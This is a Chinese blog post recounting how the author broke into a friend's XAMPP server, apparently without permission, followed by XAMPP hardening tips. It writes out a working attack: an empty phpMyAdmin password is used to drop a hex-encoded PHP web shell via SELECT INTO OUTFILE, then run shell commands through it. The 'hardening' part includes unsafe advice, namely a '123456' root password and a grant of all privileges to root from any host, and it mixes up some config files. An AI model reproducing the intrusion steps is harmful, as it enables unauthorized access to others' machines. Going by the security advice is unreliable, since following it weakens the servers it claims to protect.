记录一次关于无聊时对基友MYSQL服务器的提权攻击。
尽管没有完全攻击到对方,并且没有清理痕迹,但是,这里写写简单的防御方式。
0x01.从无聊的nmap扫描开始
今晚无聊时候,本想打开电脑扫下谁连进我wifi,无意间,眼睛一亮看到了一个惊喜。
看到80端口,就有种冲动想要进去,进去后发现forbidden,然后试了试 phpmyadmin,发现直接进去,因为基友用的XAMPP集成环境,一下就猜到空密码。
登进去后,就想办法留个后门,搞个木马。注意一下,mysql是以管理员权限运行的,so...
查了下资料,这个很简单,网上很多。
找个一个表进去,用下面那句话,就搞定了。
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E FROM user into outfile '/Applications/XAMPP/xamppfiles/phpmyadmin/fuck.php'
那一串字符就是 <?php system($_REQUEST[cmd]);?>
的十六进制编码了,只要路径对,就ok了。
进去以后,只要访问 /phpmyadmin/fuck.php?cmd=
就能直接打terminal命令了。
可以看到我输入ls /
输出了跟目录下面的文件和文件夹。
这个时候,如果是win党,来个中国菜刀!!!啊啊啊,条子!!带走!!!
0x02.关于Xampp安全(MAC环境)
下面说下个人经历,关于MAC下,xampp环境的安全处理。
A.关闭phpmyadmin远程登录
vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf
在最底下添加访问权限,以及关闭修改权限。
<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
Require local
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>
B.关闭Http远程访问权限
vim /Applications/XAMPP/xamppfiles/apache2/conf/httpd.conf
<Directory "/Applications/XAMPP/xamppfiles/apache2/htdocs">
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Deny from all #拒绝远程访问
</Directory>
C.关于Mysql文件写入权限
这里不是所有都能写入的,只要关闭了用户写入权限,就不能写入木马了。这个时候,就需要对xampp配置做处理下。
这是我本地测试:
关闭mysql写入文件权限(我本地的):
vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf
# since XAMPP 1.4.3
<Directory "/Applications/XAMPP/xamppfiles/phpmyadmin">
AllowOverride AuthConfig Limit
Require all granted
</Directory>
不管怎么样,反正记得,创建的文件夹,非不得已,不要 chmod 777,特别是upload等目录,注意防范。
D.修改Mysql密码
1、进入到phpmyadmin后,直接执行SQL语句:
update user set password=password('123456') where User='root'
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
2、直接修改
vim /Applications/XAMPP/xamppfiles/etc/my.conf
找到19行:
password = your_password
0x03.关于xmapp的一些环境
1、端口占用问题(最常见的)
Http 80端口configure在:
/Applications/XAMPP/xamppfiles/etc/httpd.conf
52行:
Mysql 3306端口configure在:
/Applications/XAMPP/xamppfiles/etc/my.conf
20行
2、添加vhost
/Applications/XAMPP/xamppfiles/etc/extra/http-vhost.conf
3、配置Mysql缓存大小
大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候,这些查询结果会被放到一个缓存中,这样,后续的相同的查询就不用操作表而直接访问缓存结果了。
/Applications/XAMPP/xamppfiles/etc/httpd.conf
最后面:
[isamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M
本文出自 夏日小草,转载请注明出处:http://homeway.me/2014/12/27/hack-mysql/
-by小草
2014-12-27 02:46:38